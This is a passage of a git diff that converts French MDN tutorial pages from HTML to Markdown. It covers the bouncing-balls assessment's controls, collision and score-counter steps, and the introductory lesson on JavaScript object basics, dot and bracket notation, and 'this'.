appropriée la taille (`size)` du viseur sera suffisant. -<h4 id="setControls()"><code>setControls()</code></h4> +#### `setControls()` -<p>Cette méthode ajoute un écouteur d'évènement <code>onkeydown</code> à l'objet <code>window</code> ce qui permettra en enfonçant certaine touche du clavier de déplacer le viseur dans la fenêtre. Insérez le code suivant dans la méthode:</p> +Cette méthode ajoute un écouteur d'évènement `onkeydown` à l'objet `window` ce qui permettra en enfonçant certaine touche du clavier de déplacer le viseur dans la fenêtre. Insérez le code suivant dans la méthode: -<pre class="brush: js">var _this = this; +```js +var _this = this; window.onkeydown = function(e) { if (e.keyCode === 65) { _this.x -= _this.velX; @@ -130,80 +122,70 @@ window.onkeydown = function(e) { } else if (e.keyCode === 83) { _this.y += _this.velY; } - }</pre> - -<p>Quand une touche est enfoncée, la propriété <a href="/fr/docs/Web/API/KeyboardEvent/keyCode">keyCode</a> de l'objet event est consultée pour savoir quelle touche est enfoncée. Si c'est une des touches spécifiée, alors le viseur ce déplacera à gauche, à droite, en haut ou en bas.</p> - -<ul> - <li>Pour un point bonus, faite apparaître à quel touche correspond le code de celle que l'utilisateur a enfoncé.</li> - <li>Pour un second point bonus, pouvez vous nous dire pourquoi nous devons définir <code>var _this = this;</code> de cette façon ? Cela à quelque chose à voir avec la portée des fonction.</li> -</ul> - -<h4 id="collisionDetect()"><code>collisionDetect()</code></h4> - -<p>Cette méthode fonctionne d'une manière similaire à <code>Ball()</code> <code>collisionDetect()</code>, copier celle-ci pour vous en servir comme base. Il y a deux différences:</p> - -<ul> - <li>Dans la condition extérieure <code>if</code>, nous n'avons plus besoin de vérifier si la balle actuellement dans la boucle est celle actuellement surveiller — Parce que ce n'est plus une balle, mais notre viseur ! A la place, on doit tester si la balle visée existe (avec quelle propriété pourrez vous faire cela?). Si elle n'existe pas, c'est qu'elle a déjà été détruite, on a donc pas besoin de la vérifier encore une fois.</li> - <li>Dans la condition intérieur <code>if</code>, on ne souhaite plus changer un élément de couleur lorsqu'une collision est détéctée — A la place, on veut détruire les balles qui entre en collision avec le viseur (encore une fois, comment pensez-vous faire cela ?).</li> -</ul> - -<h3 id="Insérer_le_viseur_dans_notre_programme">Insérer le viseur dans notre programme</h3> - -<p>Maintenant que nous avons définit notre viseur, on a besoin de le faire apparaître à l'écran. Pour ce faire on doit appliquer quelques modifications à la fonction <code>loop()</code>.</p> - -<ul> - <li>Premièrement, créons une nouvelle instance de l'objet viseur (en spécifiant les paramètres nécessaire), et appelons sa méthode <code>setControls()</code>. On doit seulement effectuer ses deux actions une seule fois, pas à chaque itération.</li> - <li>Au moment où l'on boucle à travers toutes les balles et que l'on appelle les méthodes <code>draw()</code>, <code>update()</code>, et <code>collisionDetect()</code> pour chacune d'entre elle, faite de manière à ce que ces fonctions soit appelées seulement si la balle existe.</li> - <li>Appellez les méthodes de l'instance du viseur <code>draw()</code>, <code>checkBounds()</code>, et <code>collisionDetect()</code> à chaque itération de la boucle.</li> -</ul> - -<h3 id="Implémenter_le_compteur_de_score">Implémenter le compteur de score</h3> - -<p>Pour implémenter le compteur de score, suivez les étapes suivantes:</p> - -<ol> - <li>Dans votre fichier HTML, ajoutez un élement {{HTMLElement("p")}} qui contiendra le texte suivant "Ball count: ", juste en dessous de l'élément {{HTMLElement("h1")}} .</li> - <li>Dans votre fichier CSS, ajouter les règlesz suivantes: - <pre class="brush: css">p { - position: absolute; - margin: 0; - top: 35px; - right: 5px; - color: #aaa; -}</pre> - </li> - <li>Dans votre JavaScript, effectuez les modifications suivante: - <ul> - <li>Créez une variable qui contiendra la référence vers le paragraphe.</li> - <li>Stocker et afficher le nombre de balle présentent à l'écran.</li> - <li>Incrémentez le compteur de balle à chaque fois qu'une balle apparait à l'écran.</li> - <li>Décrementez le compteur à chaque fois qu'une balle est détruite par le viseur.</li> - </ul> - </li> -</ol> - -<h2 id="Conseils_et_astuces">Conseils et astuces</h2> - -<ul> - <li>Cet exercice est un bon challenge. Prenez le temps de faire et de comprendre chaque étape.</li> - <li>Ce serait une bonne idée de garder une copie de chaque étape lorsque vous arrivez à la faire marcher correctement, pour vous y réferrer si vous n'arrivez plus à progresser ensuite.</li> -</ul> - -<h2 id="Evaluation">Evaluation</h2> - -<p>Si vous effectuez cette évalutation dans le cadre d'un cours, vous devriez pouvoir fournir votre travail à votre professeur/mentor pour correction. Si vous apprenez par vous même, vous pouvez obtenir la correction sur <a href="https://discourse.mozilla.org/t/adding-features-to-our-bouncing-balls-demo-assessment/24689">discussion thread for this exercise</a>, ou sur <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC channel sur <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Tout d'abord effectuez cet exercice — vous n'obtiendrez jamais rien en trichant !</p> - -<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}</p> - -<h2 id="Dans_ce_Module">Dans ce Module</h2> - -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Basics">Object basics</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Inheritance">Inheritance in JavaScript</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Adding features to our bouncing balls demo</a></li> -</ul> + } +``` + +Quand une touche est enfoncée, la propriété [keyCode](/fr/docs/Web/API/KeyboardEvent/keyCode) de l'objet event est consultée pour savoir quelle touche est enfoncée. Si c'est une des touches spécifiée, alors le viseur ce déplacera à gauche, à droite, en haut ou en bas. + +- Pour un point bonus, faite apparaître à quel touche correspond le code de celle que l'utilisateur a enfoncé. +- Pour un second point bonus, pouvez vous nous dire pourquoi nous devons définir `var _this = this;` de cette façon ? Cela à quelque chose à voir avec la portée des fonction. + +#### `collisionDetect()` + +Cette méthode fonctionne d'une manière similaire à `Ball()` `collisionDetect()`, copier celle-ci pour vous en servir comme base. Il y a deux différences: + +- Dans la condition extérieure `if`, nous n'avons plus besoin de vérifier si la balle actuellement dans la boucle est celle actuellement surveiller — Parce que ce n'est plus une balle, mais notre viseur ! A la place, on doit tester si la balle visée existe (avec quelle propriété pourrez vous faire cela?). Si elle n'existe pas, c'est qu'elle a déjà été détruite, on a donc pas besoin de la vérifier encore une fois. +- Dans la condition intérieur `if`, on ne souhaite plus changer un élément de couleur lorsqu'une collision est détéctée — A la place, on veut détruire les balles qui entre en collision avec le viseur (encore une fois, comment pensez-vous faire cela ?). + +### Insérer le viseur dans notre programme + +Maintenant que nous avons définit notre viseur, on a besoin de le faire apparaître à l'écran. Pour ce faire on doit appliquer quelques modifications à la fonction `loop()`. + +- Premièrement, créons une nouvelle instance de l'objet viseur (en spécifiant les paramètres nécessaire), et appelons sa méthode `setControls()`. On doit seulement effectuer ses deux actions une seule fois, pas à chaque itération. +- Au moment où l'on boucle à travers toutes les balles et que l'on appelle les méthodes `draw()`, `update()`, et `collisionDetect()` pour chacune d'entre elle, faite de manière à ce que ces fonctions soit appelées seulement si la balle existe. +- Appellez les méthodes de l'instance du viseur `draw()`, `checkBounds()`, et `collisionDetect()` à chaque itération de la boucle. + +### Implémenter le compteur de score + +Pour implémenter le compteur de score, suivez les étapes suivantes: + +1. Dans votre fichier HTML, ajoutez un élement {{HTMLElement("p")}} qui contiendra le texte suivant "Ball count: ", juste en dessous de l'élément {{HTMLElement("h1")}} . +2. Dans votre fichier CSS, ajouter les règlesz suivantes: + + ```css + p { + position: absolute; + margin: 0; + top: 35px; + right: 5px; + color: #aaa; + } + ``` + +3. Dans votre JavaScript, effectuez les modifications suivante: + + - Créez une variable qui contiendra la référence vers le paragraphe. + - Stocker et afficher le nombre de balle présentent à l'écran. + - Incrémentez le compteur de balle à chaque fois qu'une balle apparait à l'écran. + - Décrementez le compteur à chaque fois qu'une balle est détruite par le viseur. + +## Conseils et astuces + +- Cet exercice est un bon challenge. Prenez le temps de faire et de comprendre chaque étape. +- Ce serait une bonne idée de garder une copie de chaque étape lorsque vous arrivez à la faire marcher correctement, pour vous y réferrer si vous n'arrivez plus à progresser ensuite. + +## Evaluation + +Si vous effectuez cette évalutation dans le cadre d'un cours, vous devriez pouvoir fournir votre travail à votre professeur/mentor pour correction. Si vous apprenez par vous même, vous pouvez obtenir la correction sur [discussion thread for this exercise](https://discourse.mozilla.org/t/adding-features-to-our-bouncing-balls-demo-assessment/24689), ou sur [#mdn](irc://irc.mozilla.org/mdn) IRC channel sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Tout d'abord effectuez cet exercice — vous n'obtiendrez jamais rien en trichant ! + +{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}} + +## Dans ce Module + +- [Object basics](/fr/docs/Learn/JavaScript/Objects/Basics) +- [Object-oriented JavaScript for beginners](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS) +- [Object prototypes](/fr/docs/Learn/JavaScript/Objects/Object_prototypes) +- [Inheritance in JavaScript](/fr/docs/Learn/JavaScript/Objects/Inheritance) +- [Working with JSON data](/fr/docs/Learn/JavaScript/Objects/JSON) +- [Object building practice](/fr/docs/Learn/JavaScript/Objects/Object_building_practice) +- [Adding features to our bouncing balls demo](/fr/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features) diff --git a/files/fr/learn/javascript/objects/basics/index.md b/files/fr/learn/javascript/objects/basics/index.md index 483ebba0fc..dfca7d223a 100644 --- a/files/fr/learn/javascript/objects/basics/index.md +++ b/files/fr/learn/javascript/objects/basics/index.md @@ -1,5 +1,5 @@ --- -title: 'Les bases de JavaScript, orienté objet' +title: Les bases de JavaScript, orienté objet slug: Learn/JavaScript/Objects/Basics tags: - API @@ -11,42 +11,56 @@ tags: - this translation_of: Learn/JavaScript/Objects/Basics --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}} -<div>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</div> - -<p>Dans ce premier article sur les objets JavaScript, nous verrons la syntaxe des objets JavaScript ainsi que quelques fonctionnalités JavaScript déjà aperçues dans les cours précédents, rappelant que beaucoup de fonctionnalités que vous utilisez sont en fait des objets.</p> +Dans ce premier article sur les objets JavaScript, nous verrons la syntaxe des objets JavaScript ainsi que quelques fonctionnalités JavaScript déjà aperçues dans les cours précédents, rappelant que beaucoup de fonctionnalités que vous utilisez sont en fait des objets. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Connaissances informatiques de base, connaissances basiques concernant HTML et CSS, bonnes connaissances des bases de JavaScript (cf. <a href="/fr/docs/Learn/JavaScript/First_steps">les premiers pas</a> et <a href="/fr/docs/Learn/JavaScript/Building_blocks">les briques de construction</a>).</td> - </tr> - <tr> - <th scope="row">Objectifs :</th> - <td>Comprendre les théories de base derrière la programmation orientée objet, comment l'appliquer à JavaScript, et comment travailler avec des objets JavaScript.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Connaissances informatiques de base, connaissances basiques concernant + HTML et CSS, bonnes connaissances des bases de JavaScript (cf. + <a href="/fr/docs/Learn/JavaScript/First_steps">les premiers pas</a> et + <a href="/fr/docs/Learn/JavaScript/Building_blocks" + >les briques de construction</a + >). + </td> + </tr> + <tr> + <th scope="row">Objectifs :</th> + <td> + Comprendre les théories de base derrière la programmation orientée + objet, comment l'appliquer à JavaScript, et comment travailler avec des + objets JavaScript. + </td> + </tr> + </tbody> </table> -<h2 id="Les_bases_de_lobjet">Les bases de l'objet</h2> +## Les bases de l'objet -<p>Un objet est une collection de données apparentées et/ou de fonctionnalités (qui, souvent, se composent de plusieurs variables et fonctions, appelées propriétés et méthodes quand elles sont dans des objets). Prenons un exemple pour voir à quoi cela ressemble.</p> +Un objet est une collection de données apparentées et/ou de fonctionnalités (qui, souvent, se composent de plusieurs variables et fonctions, appelées propriétés et méthodes quand elles sont dans des objets). Prenons un exemple pour voir à quoi cela ressemble. -<p>Pour commencer, faites une copie locale de notre fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html">oojs.html</a>. Il contient peu de choses : un élément {{HTMLElement("script")}} pour écrire notre code à l'intérieur. Nous utiliserons ces éléments de base pour explorer les bases de la syntaxe objet. Durant cette exemple, vous devriez avoir <a href="/fr/docs/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs#La_console_JavaScript">la console JavaScript des outils de développement</a> ouverte et prête, pour y saisir des commandes.</p> +Pour commencer, faites une copie locale de notre fichier [oojs.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html). Il contient peu de choses : un élément {{HTMLElement("script")}} pour écrire notre code à l'intérieur. Nous utiliserons ces éléments de base pour explorer les bases de la syntaxe objet. Durant cette exemple, vous devriez avoir [la console JavaScript des outils de développement](/fr/docs/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs#La_console_JavaScript) ouverte et prête, pour y saisir des commandes. -<p>Comme souvent dans JavaScript, pour créer un objet, on commence avec la définition et l'initialisation d'une variable. Essayez de mettre le code ci-dessous sous le code déjà écrit de votre fichier JavaScript, puis sauvegardez et rafraichissez la page :</p> +Comme souvent dans JavaScript, pour créer un objet, on commence avec la définition et l'initialisation d'une variable. Essayez de mettre le code ci-dessous sous le code déjà écrit de votre fichier JavaScript, puis sauvegardez et rafraichissez la page : -<pre class="brush: js">var personne = {};</pre> +```js +var personne = {}; +``` -<p>Désormais ouvrez la <a href="/fr/docs/Outils/Console_JavaScript#Ouvrir_la_Console_du_navigateur">console JavaScript</a> de votre navigateur, saisissez <code>personne</code> à l'intérieur, et appuyez sur <kbd>Entrée</kbd>. Vous devriez obtenir le résultat suivant :</p> +Désormais ouvrez la [console JavaScript](/fr/docs/Outils/Console_JavaScript#Ouvrir_la_Console_du_navigateur) de votre navigateur, saisissez `personne` à l'intérieur, et appuyez sur <kbd>Entrée</kbd>. Vous devriez obtenir le résultat suivant : -<pre class="brush: js">[object Object]</pre> +```js +[object Object] +``` -<p>Félicitations, vous avez créé votre premier objet ! Mais c'est un objet vide, on ne peut pas faire grand-chose avec. Modifions notre objet pour qu'il ressemble à ceci :</p> +Félicitations, vous avez créé votre premier objet ! Mais c'est un objet vide, on ne peut pas faire grand-chose avec. Modifions notre objet pour qu'il ressemble à ceci : -<pre class="brush: js">var personne = { +```js +var personne = { nom: ['Jean', 'Martin'], age: 32, sexe: 'masculin', @@ -58,151 +72,188 @@ translation_of: Learn/JavaScript/Objects/Basics alert('Bonjour ! Je suis ' + this.nom[0] + '.'); } }; -</pre> +``` -<p>Après avoir sauvegardé et rafraîchit la page, essayez d'entrer les lignes suivantes dans le champ de saisie <code>input</code> :</p> +Après avoir sauvegardé et rafraîchit la page, essayez d'entrer les lignes suivantes dans le champ de saisie `input` : -<pre class="brush: js">personne.nom +```js +personne.nom personne.nom[0] personne.age personne.interets[1] personne.bio() -personne.salutation()</pre> +personne.salutation() +``` -<p>Vous avez désormais des données et des fonctionnalités dans votre objet, et vous pouvez y accéder avec une une syntaxe simple et claire !</p> +Vous avez désormais des données et des fonctionnalités dans votre objet, et vous pouvez y accéder avec une une syntaxe simple et claire ! -<div class="note"> -<p><strong>Note :</strong> Si vous avez des difficultés pour le faire fonctionner, comparez votre code avec notre version — voir <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> (ou <a href="https://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">voir en action</a>). Une erreur courante, quand on commence avec les objets, est de mettre une virgule après la dernière propriété — ce qui provoque une erreur.</p> -</div> +> **Note :** Si vous avez des difficultés pour le faire fonctionner, comparez votre code avec notre version — voir [oojs-finished.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html) (ou [voir en action](https://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html)). Une erreur courante, quand on commence avec les objets, est de mettre une virgule après la dernière propriété — ce qui provoque une erreur. -<p>Alors, comment ça fonctionne ? Un objet est fait de plusieurs membres, qui ont chacun un nom (par exemple <code>nom</code> et <code>age</code> ci-dessus) et une valeur (par exemple. <code>['Jean', 'Martin']</code> et <code>32</code>).</p> +Alors, comment ça fonctionne ? Un objet est fait de plusieurs membres, qui ont chacun un nom (par exemple `nom` et `age` ci-dessus) et une valeur (par exemple. `['Jean', 'Martin']` et `32`). -<p>Chaque paire de nom/valeur doit être séparée par une virgule, et le nom et la valeur de chaque membre sont séparés par deux points. La syntaxe suit ce schéma :</p> +Chaque paire de nom/valeur doit être séparée par une virgule, et le nom et la valeur de chaque membre sont séparés par deux points. La syntaxe suit ce schéma : -<pre class="brush: js">var monObjet = { +```js +var monObjet = { nomDuMembre1: valeurDuMembre1, nomDuMembre2: valeurDuMembre2, nomDuMembre3: valeurDuMembre3 -}</pre> +} +``` -<p>La valeur d'un membre dans un objet peut être n'importe quoi — dans notre objet <code>personne</code>, nous avons du texte, un nombre, deux tableaux et deux fonctions. Les quatre premières éléments sont des données appelées <strong>propriétés</strong> de l'objet, et les deux derniers éléments sont des fonctions qui utilisent les données de l'objet pour faire quelque chose, et sont appelées des <strong>méthodes</strong> de l'objet.</p> +La valeur d'un membre dans un objet peut être n'importe quoi — dans notre objet `personne`, nous avons du texte, un nombre, deux tableaux et deux fonctions. Les quatre premières éléments sont des données appelées **propriétés** de l'objet, et les deux derniers éléments sont des fonctions qui utilisent les données de l'objet pour faire quelque chose, et sont appelées des **méthodes** de l'objet. -<p>Dans cet exemple, l'objet est créé grâce à un<strong> objet littéral</strong> : on écrit littéralement le contenu de l'objet pour le créer. On distinguera cette structure des objets instanciés depuis des classes, que nous verrons plus tard.</p> +Dans cet exemple, l'objet est créé grâce à un **objet littéral** : on écrit littéralement le contenu de l'objet pour le créer. On distinguera cette structure des objets instanciés depuis des classes, que nous verrons plus tard. -<p>C'est une pratique très courante de créer un objet en utilisant un objet littéral : par exemple, quand on envoie une requête au serveur pour transférer des données vers une base de données.</p> +C'est une pratique très courante de créer un objet en utilisant un objet littéral : par exemple, quand on envoie une requête au serveur pour transférer des données vers une base de données. -<p>Envoyer un seul objet est bien plus efficace que d'envoyer ses membres de manière individuelle, et c'est bien plus simple de travailler avec un tableau quand on veut identifier des membres par leur nom.</p> +Envoyer un seul objet est bien plus efficace que d'envoyer ses membres de manière individuelle, et c'est bien plus simple de travailler avec un tableau quand on veut identifier des membres par leur nom. -<h2 id="Notation_avec_un_point">Notation avec un point</h2> +## Notation avec un point -<p>Ci-dessus, on accède aux membres de l'objet en utilisant la <strong>notation avec un point</strong>.</p> +Ci-dessus, on accède aux membres de l'objet en utilisant la **notation avec un point**. -<p>Le nom de l'objet (<code>personne</code>) agit comme un <strong>espace de noms</strong> (ou <em>namespace</em> en anglais) — il doit être entré en premier pour accéder aux membres <strong>encapsulés</strong> dans l'objet. Ensuite, on écrit un point, puis le membre auquel on veut accéder — que ce soit le nom d'une propriété, un élément d'un tableau, ou un appel à une méthode de l'objet. Par exemple :</p> +Le nom de l'objet (`personne`) agit comme un **espace de noms** (ou _namespace_ en anglais) — il doit être entré en premier pour accéder aux membres **encapsulés** dans l'objet. Ensuite, on écrit un point, puis le membre auquel on veut accéder — que ce soit le nom d'une propriété, un élément d'un tableau, ou un appel à une méthode de l'objet. Par exemple : -<pre class="brush: js">personne.age +```js +personne.age personne.interets[1] -personne.bio()</pre> +personne.bio() +``` -<h3 id="Sous-espaces_de_noms">Sous-espaces de noms</h3> +### Sous-espaces de noms -<p>Il est même possible de donner un autre objet comme valeur d'un membre de l'objet. Par exemple, on peut essayer de changer la propriété <code>nom</code> du membre et la faire passer de</p> +Il est même possible de donner un autre objet comme valeur d'un membre de l'objet. Par exemple, on peut essayer de changer la propriété `nom` du membre et la faire passer de -<pre class="brush: js">nom: ['Jean', 'Martin'],</pre> +```js +nom: ['Jean', 'Martin'], +``` -<p>à</p> +à -<pre class="brush: js">nom : { +```js +nom : { prenom: 'Jean', nomFamille: 'Martin' -},</pre> +}, +``` -<p>Ici, nous avons bien créé un <strong>sous-espace de noms</strong>. Ça a l'air compliqué, mais ça ne l'est pas. Pour accéder à ces élements, il suffit de chaîner une étape de plus avec un autre point. Essayez ceci :</p> +Ici, nous avons bien créé un **sous-espace de noms**. Ça a l'air compliqué, mais ça ne l'est pas. Pour accéder à ces élements, il suffit de chaîner une étape de plus avec un autre point. Essayez ceci : -<pre class="brush: js">personne.nom.prenom -personne.nom.nomFamille</pre> +```js +personne.nom.prenom +personne.nom.nomFamille +``` -<p><strong>Important </strong>: à partir de maintenant, vous allez aussi devoir reprendre votre code et modifier toutes les occurrences de :</p> +**Important** : à partir de maintenant, vous allez aussi devoir reprendre votre code et modifier toutes les occurrences de : -<pre class="brush: js">nom[0] -nom[1]</pre> +```js +nom[0] +nom[1] +``` -<p>en</p> +en -<pre class="brush: js">nom.prenom -nom.nomFamille</pre> +```js +nom.prenom +nom.nomFamille +``` -<p>sinon vos méthodes ne fonctionneront plus.</p> +sinon vos méthodes ne fonctionneront plus. -<h2 id="Notation_avec_les_crochets">Notation avec les crochets</h2> +## Notation avec les crochets -<p>Il y a une autre façon d'accéder aux membres de l'objet : la notation avec les crochets. Plutôt que d'utiliser ceci :</p> +Il y a une autre façon d'accéder aux membres de l'objet : la notation avec les crochets. Plutôt que d'utiliser ceci : -<pre class="brush: js">personne.age -personne.nom.prenom</pre> +```js +personne.age +personne.nom.prenom +``` -<p>Vous pouvez utiliser :</p> +Vous pouvez utiliser : -<pre class="brush: js">personne['age'] -personne['nom']['prenom']</pre> +```js +personne['age'] +personne['nom']['prenom'] +``` -<p>Cela ressemble beaucoup à la façon d'accéder aux éléments d'un tableau et c'est bien la même chose — au lieu d'utiliser un indice numérique pour sélectionner un élément, on utilise le nom associé à chaque valeur d'un membre. Ce n'est pas pour rien que les objets sont parfois appelés tableaux associatifs : ils associent des chaînes de caractères (les noms des membres) à des valeurs, de la même façon que les tableaux associent des nombres à des valeurs.</p> +Cela ressemble beaucoup à la façon d'accéder aux éléments d'un tableau et c'est bien la même chose — au lieu d'utiliser un indice numérique pour sélectionner un élément, on utilise le nom associé à chaque valeur d'un membre. Ce n'est pas pour rien que les objets sont parfois appelés tableaux associatifs : ils associent des chaînes de caractères (les noms des membres) à des valeurs, de la même façon que les tableaux associent des nombres à des valeurs. -<h2 id="Définir_les_membres_dun_objet">Définir les membres d'un objet</h2> +## Définir les membres d'un objet -<p>Jusqu'ici, nous avons vu comment <strong>accéder</strong> aux membres d'un objet. Vous pouvez aussi <strong>modifier</strong> la valeur d'un membre de l'objet en déclarant simplement le membre que vous souhaitez modifier(en utilisant la notation avec le point ou par crochet), comme ceci :</p> +Jusqu'ici, nous avons vu comment **accéder** aux membres d'un objet. Vous pouvez aussi **modifier** la valeur d'un membre de l'objet en déclarant simplement le membre que vous souhaitez modifier(en utilisant la notation avec le point ou par crochet), comme ceci : -<pre class="brush: js">personne.age = 45 -personne['nom']['nomFamille'] = 'Rabuchon'</pre> +```js +personne.age = 45 +personne['nom']['nomFamille'] = 'Rabuchon' +``` -<p>Essayez de saisir ces deux lignes précédentes, puis accédez à nouveau aux membres pour voir ce qui a changé :</p> +Essayez de saisir ces deux lignes précédentes, puis accédez à nouveau aux membres pour voir ce qui a changé : -<pre class="brush: js">personne.age -personne['nom']['nomFamille']</pre> +```js +personne.age +personne['nom']['nomFamille'] +``` -<p>Définir les membres ne s'arrête pas à mettre à jour la valeur de propriétés ou méthodes existantes; <strong>vous pouvez aussi créer de nouveaux membres</strong>. Essayez ceci :</p> +Définir les membres ne s'arrête pas à mettre à jour la valeur de propriétés ou méthodes existantes; **vous pouvez aussi créer de nouveaux membres**. Essayez ceci : -<pre class="brush: js">personne['yeux'] = 'noisette' -personne.auRevoir = function() { alert("Bye bye tout le monde !"); }</pre> +```js +personne['yeux'] = 'noisette' +personne.auRevoir = function() { alert("Bye bye tout le monde !"); } +``` -<p>Vous pouvez maintenant tester vos nouveaux membres :</p> +Vous pouvez maintenant tester vos nouveaux membres : -<pre class="brush: js">personne['yeux'] -personne.auRevoir()</pre> +```js +personne['yeux'] +personne.auRevoir() +``` -<p>Un des aspects pratiques de la notation par crochet est qu'elle peut être utilisée pour définir dynamiquement les valeurs des membres, mais aussi pour définir les noms. Imaginons que nous voulions que les utilisateurs puissent saisir des types de valeurs personnalisées pour les données des personnes, en entrant le nom du membre et sa valeur dans deux champs <code>input</code>. On pourrait avoir ses valeurs comme ceci :</p> +Un des aspects pratiques de la notation par crochet est qu'elle peut être utilisée pour définir dynamiquement les valeurs des membres, mais aussi pour définir les noms. Imaginons que nous voulions que les utilisateurs puissent saisir des types de valeurs personnalisées pour les données des personnes, en entrant le nom du membre et sa valeur dans deux champs `input`. On pourrait avoir ses valeurs comme ceci : -<pre class="brush: js">var monNomDeDonnee = nomInput.value -var maValeurDeDonnee = valeurNom.value</pre> +```js +var monNomDeDonnee = nomInput.value +var maValeurDeDonnee = valeurNom.value +``` -<p>On peut alors ajouter le nom et la valeur du nouveau membre de l'objet <code>personne</code> comme ceci :</p> +On peut alors ajouter le nom et la valeur du nouveau membre de l'objet `personne` comme ceci : -<pre class="brush: js">personne[monNomDeDonnee] = maValeurDeDonnee</pre> +```js +personne[monNomDeDonnee] = maValeurDeDonnee +``` -<p>Pour le tester, essayez d'ajouter les lignes ci-dessous dans votre code, juste après le crochet fermante de l'objet <code>personne</code> :</p> +Pour le tester, essayez d'ajouter les lignes ci-dessous dans votre code, juste après le crochet fermante de l'objet `personne` : -<pre class="brush: js">var monNomDeDonnee = 'hauteur' +```js +var monNomDeDonnee = 'hauteur' var maValeurDeDonnee = '1.75m' -personne[monNomDeDonnee] = maValeurDeDonnee</pre> +personne[monNomDeDonnee] = maValeurDeDonnee +``` -<p>Sauvegardez, rafraîchissez et entrez le texte suivant dans le champ de saisie (l'élément <code>input</code>) :</p> +Sauvegardez, rafraîchissez et entrez le texte suivant dans le champ de saisie (l'élément `input`) : -<pre class="brush: js">personne.hauteur</pre> +```js +personne.hauteur +``` -<p>Nous n'aurions pas pu construire ce membre avec la notation avec un point, car celle-ci n'accepte qu'un nom et pas une variable pointant vers un nom.</p> +Nous n'aurions pas pu construire ce membre avec la notation avec un point, car celle-ci n'accepte qu'un nom et pas une variable pointant vers un nom. -<h2 id="Quest-ce_que_«_this_»">Qu'est-ce que « <code>this</code> » ?</h2> +## Qu'est-ce que « `this` » ? -<p>Vous avez dû remarquer quelque chose d'un peu étrange dans vos méthodes. Celle-ci, par exemple :</p> +Vous avez dû remarquer quelque chose d'un peu étrange dans vos méthodes. Celle-ci, par exemple : -<pre class="brush: js">salutation: function() { +```js +salutation: function() { alert('Bonjour! Je suis ' + this.nom.prenom + '.'); -}</pre> +} +``` -<p>Vous vous demandez probablement ce que signifie « <code>this</code> ». Le mot-clé <code>this</code> se réfère à l'objet courant dans lequel le code est écrit — dans notre cas, <code>this</code> est l'équivalent de <code>personne</code>. Alors, pourquoi ne pas écrire <code>personne</code> à la place ? Comme vous le verrez dans l'article <a href="/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS">la programmation JavaScript orientée objet pour les débutants</a>, <code>this</code> est très utile — il permet de s'assurer que les bonnes valeurs sont utilisées quand le contexte d'un membre change (on peut par exemple avoir deux personnes, sous la forme de deux objets, avec des noms différents).</p> +Vous vous demandez probablement ce que signifie « `this` ». Le mot-clé `this` se réfère à l'objet courant dans lequel le code est écrit — dans notre cas, `this` est l'équivalent de `personne`. Alors, pourquoi ne pas écrire `personne` à la place ? Comme vous le verrez dans l'article [la programmation JavaScript orientée objet pour les débutants](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS), `this` est très utile — il permet de s'assurer que les bonnes valeurs sont utilisées quand le contexte d'un membre change (on peut par exemple avoir deux personnes, sous la forme de deux objets, avec des noms différents). -<p>Essayons d'illustrer nos propos par une paire d'objet <code>personne</code> simplifiée :</p> +Essayons d'illustrer nos propos par une paire d'objet `personne` simplifiée : -<pre class="brush: js">var personne1 = { +```js +var personne1 = { nom: 'Christophe', salutation: function() { alert('Bonjour ! Je suis ' + this.nom + '.'); @@ -214,45 +265,50 @@ var personne2 = { salutation: function() { alert('Bonjour ! Je suis ' + this.nom + '.'); } -}</pre> +} +``` -<p>Dans ce cas, <code>personne1.salutation()</code> affichera "Bonjour ! Je suis Christophe.", tandis que <code>personne2.salutation()</code> affichera "Bonjour ! Je suis Bruno." alors que le code est le même dans les deux cas. Comme expliqué plus tôt, <code>this</code> est égal à l'objet dans lequel se situe le code. Ce n'est pas très utile quand on écrit des objets littéraux à la main, mais ça prend tout son sens quand on génère des objets dynamiques (avec des constructeurs par exemple).</p> +Dans ce cas, `personne1.salutation()` affichera "Bonjour ! Je suis Christophe.", tandis que `personne2.salutation()` affichera "Bonjour ! Je suis Bruno." alors que le code est le même dans les deux cas. Comme expliqué plus tôt, `this` est égal à l'objet dans lequel se situe le code. Ce n'est pas très utile quand on écrit des objets littéraux à la main, mais ça prend tout son sens quand on génère des objets dynamiques (avec des constructeurs par exemple). -<h2 id="Vous_utilisiez_des_objets_depuis_le_début_!">Vous utilisiez des objets depuis le début !</h2> +## Vous utilisiez des objets depuis le début ! -<p>Tout au long de ces exemples, vous vous êtes probablement dit que la notation avec un point vous était très familière. C'est parce que vous 